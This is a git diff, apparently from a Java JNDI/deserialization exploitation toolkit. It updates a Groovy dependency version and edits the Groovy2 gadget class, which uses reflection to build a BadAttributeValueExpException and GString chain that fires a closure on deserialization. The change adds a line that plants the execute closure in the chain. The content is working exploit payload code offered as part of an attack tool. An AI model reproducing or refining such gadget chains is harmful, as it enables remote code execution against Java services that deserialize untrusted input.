diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml
index 6b78537..4b90e70 100644
--- a/gradle/libs.versions.toml
+++ b/gradle/libs.versions.toml
@@ -41,7 +41,7 @@ org-apache-wicket-wicket-util = "6.23.0"
 org-aspectj-aspectjweaver = "1.9.7"
 org-beanshell-bsh = "2.0b5"
 org-clojure-clojure = "1.8.0"
-org-codehaus-groovy-groovy = "2.4.3"
+org-codehaus-groovy-groovy = "2.4.5"
 org-eclipse-jetty-jetty-ant = "11.0.7"
 org-fusesource-jansi-jansi = "2.4.0"
 org-glassfish-tyrus-tyrus-server = "2.0.0"
diff --git a/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java b/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java
index eaef45e..b70d4b9 100644
--- a/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java
+++ b/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java
@@ -25,9 +25,8 @@ public class Groovy2 implements ObjectPayload<Object> {
             Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
         }
         BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
-        Field valfield = val.getClass().getDeclaredField("val");
-        valfield.setAccessible(true);
-        valfield.set(val, gString);
+        Reflections.setFieldValue(val,"val",gString);
+        Reflections.setFieldValue(gString,"values",(new Object[]{execute}));
         return val;
     }